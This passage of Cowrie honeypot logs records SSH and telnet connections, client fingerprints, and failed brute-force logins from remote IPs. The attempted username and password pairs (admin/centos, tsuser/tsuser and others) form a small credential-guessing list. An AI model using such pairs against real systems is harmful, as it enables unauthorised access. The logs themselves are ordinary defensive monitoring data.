rcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:49.167566Z","src_ip":"159.203.92.129","session":"1d74fc08bd52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"centos","message":"login attempt [admin/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:49.181932Z","src_ip":"159.203.92.129","session":"1d74fc08bd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:50.213850Z","src_ip":"159.203.92.129","session":"1d74fc08bd52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":47394,"dst_ip":"159.203.135.109","dst_port":22,"session":"af27b03348ec","protocol":"ssh","message":"New connection: 103.172.20.218:47394 (159.203.135.109:22) [session: af27b03348ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:56.463217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:56.467799Z","src_ip":"103.172.20.218","session":"af27b03348ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:56.695211Z","src_ip":"103.172.20.218","session":"af27b03348ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tsuser","password":"tsuser","message":"login attempt [tsuser/tsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:57.638336Z","src_ip":"103.172.20.218","session":"af27b03348ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:58.868790Z","src_ip":"103.172.20.218","session":"af27b03348ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35331964492798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:04.061866Z","src_ip":"173.249.14.218","session":"71814a1d7399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54142,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cbe9ca31b6e","protocol":"telnet","message":"New connection: 173.249.14.218:54142 (159.203.135.109:23) [session: 9cbe9ca31b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:07.459935Z"}
{"eventid":"cowrie.session.closed","duration":30.54947328567505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:09.090521Z","src_ip":"173.249.14.218","session":"0d91523d0263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac3b26780c0","protocol":"telnet","message":"New connection: 173.249.14.218:57414 (159.203.135.109:23) [session: 0ac3b26780c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:09.302472Z"}
{"eventid":"cowrie.session.closed","duration":30.81922721862793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:10.237701Z","src_ip":"173.249.14.218","session":"30b547231d8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753939867019653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:14.093943Z","src_ip":"173.249.14.218","session":"28fe52bd61e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56710,"dst_ip":"159.203.135.109","dst_port":23,"session":"62dd3d9eec9f","protocol":"telnet","message":"New connection: 173.249.14.218:56710 (159.203.135.109:23) [session: 62dd3d9eec9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:23.436473Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":34612,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9db48653463","protocol":"telnet","message":"New connection: 173.249.14.218:34612 (159.203.135.109:23) [session: d9db48653463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:26.349675Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":41466,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb39c21d299","protocol":"telnet","message":"New connection: 173.249.14.218:41466 (159.203.135.109:23) [session: 5bb39c21d299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:29.470458Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":44474,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85fe8f8d916","protocol":"telnet","message":"New connection: 173.249.14.218:44474 (159.203.135.109:23) [session: a85fe8f8d916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:31.334714Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":44562,"dst_ip":"159.203.135.109","dst_port":23,"session":"892528517f7d","protocol":"telnet","message":"New connection: 173.249.14.218:44562 (159.203.135.109:23) [session: 892528517f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:31.347768Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46482,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5c8522bf20b","protocol":"telnet","message":"New connection: 173.249.14.218:46482 (159.203.135.109:23) [session: a5c8522bf20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:32.335997Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":49186,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e9cdca456ff","protocol":"telnet","message":"New connection: 173.249.14.218:49186 (159.203.135.109:23) [session: 9e9cdca456ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:33.591815Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34036,"dst_ip":"159.203.135.109","dst_port":22,"session":"df2006ec1a47","protocol":"ssh","message":"New connection: 159.203.92.129:34036 (159.203.135.109:22) [session: df2006ec1a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:33.888489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:33.893098Z","src_ip":"159.203.92.129","session":"df2006ec1a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:33.898033Z","src_ip":"159.203.92.129","session":"df2006ec1a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cer-root","message":"login attempt [admin/cer-root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:33.910888Z","src_ip":"159.203.92.129","session":"df2006ec1a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:34.918620Z","src_ip":"159.203.92.129","session":"df2006ec1a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.681206941604614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:38.141012Z","src_ip":"173.249.14.218","session":"9cbe9ca31b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dff626aa4d8","protocol":"telnet","message":"New connection: 173.249.14.218:59602 (159.203.135.109:23) [session: 7dff626aa4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:38.712263Z"}
{"eventid":"cowrie.session.closed","duration":30.7490234375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:40.051373Z","src_ip":"173.249.14.218","session":"0ac3b26780c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46086,"dst_ip":"159.203.135.109","dst_port":23,"session":"077f26542675","protocol":"telnet","message":"New connection: 173.249.14.218:46086 (159.203.135.109:23) [session: 077f26542675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:46.304698Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":48448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a680c922f5","protocol":"telnet","message":"New connection: 173.249.14.218:48448 (159.203.135.109:23) [session: e3a680c922f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:47.615490Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":58856,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5e4d45c98a1","protocol":"ssh","message":"New connection: 103.172.20.218:58856 (159.203.135.109:22) [session: c5e4d45c98a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:51.645907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:51.651270Z","src_ip":"103.172.20.218","session":"c5e4d45c98a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:51.878107Z","src_ip":"103.172.20.218","session":"c5e4d45c98a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2222","message":"login attempt [admin/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:52.819755Z","src_ip":"103.172.20.218","session":"c5e4d45c98a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59876,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae71f717600","protocol":"telnet","message":"New connection: 173.249.14.218:59876 (159.203.135.109:23) [session: 6ae71f717600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:53.473980Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59936,"dst_ip":"159.203.135.109","dst_port":23,"session":"d432a5642f73","protocol":"telnet","message":"New connection: 173.249.14.218:59936 (159.203.135.109:23) [session: d432a5642f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:53.523040Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:54.050659Z","src_ip":"103.172.20.218","session":"c5e4d45c98a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.666477918624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:54.102829Z","src_ip":"173.249.14.218","session":"62dd3d9eec9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"29f5213fb1e3","protocol":"telnet","message":"New connection: 173.249.14.218:37114 (159.203.135.109:23) [session: 29f5213fb1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:56.190213Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28721,"dst_ip":"10.17.0.5","dst_port":22,"session":"280f18597b6a","protocol":"ssh","message":"New connection: 2.57.121.112:28721 (10.17.0.5:22) [session: 280f18597b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:57.020561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:57.025772Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71545720100403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:57.065012Z","src_ip":"173.249.14.218","session":"d9db48653463","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:57.129534Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19081973","message":"login attempt [admin/19081973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:57.603556Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f3c8b59a061","protocol":"telnet","message":"New connection: 173.249.14.218:41690 (159.203.135.109:23) [session: 8f3c8b59a061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:58.458133Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190787","message":"login attempt [admin/190787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:58.706202Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19071969","message":"login attempt [admin/19071969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:41:59.809899Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63319182395935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:00.103546Z","src_ip":"173.249.14.218","session":"5bb39c21d299","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19061997","message":"login attempt [admin/19061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:00.912111Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19061960","message":"login attempt [admin/19061960] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:02.017213Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75553607940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:02.090147Z","src_ip":"173.249.14.218","session":"a85fe8f8d916","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91162657737732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:02.259298Z","src_ip":"173.249.14.218","session":"892528517f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":48644,"dst_ip":"159.203.135.109","dst_port":23,"session":"67ddf076fd2b","protocol":"telnet","message":"New connection: 173.249.14.218:48644 (159.203.135.109:23) [session: 67ddf076fd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:02.489706Z"}
{"eventid":"cowrie.session.closed","duration":30.714508056640625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:03.050440Z","src_ip":"173.249.14.218","session":"a5c8522bf20b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:03.120839Z","src_ip":"2.57.121.112","session":"280f18597b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59477710723877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:04.186472Z","src_ip":"173.249.14.218","session":"9e9cdca456ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"d77d2dbe3687","protocol":"telnet","message":"New connection: 173.249.14.218:54198 (159.203.135.109:23) [session: d77d2dbe3687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:05.352288Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57914,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f341e9af4c","protocol":"telnet","message":"New connection: 173.249.14.218:57914 (159.203.135.109:23) [session: 11f341e9af4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:07.403487Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":60100,"dst_ip":"159.203.135.109","dst_port":23,"session":"086ba4d9bb64","protocol":"telnet","message":"New connection: 173.249.14.218:60100 (159.203.135.109:23) [session: 086ba4d9bb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:08.390228Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":60382,"dst_ip":"159.203.135.109","dst_port":23,"session":"063cee542a62","protocol":"telnet","message":"New connection: 173.249.14.218:60382 (159.203.135.109:23) [session: 063cee542a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:08.509960Z"}
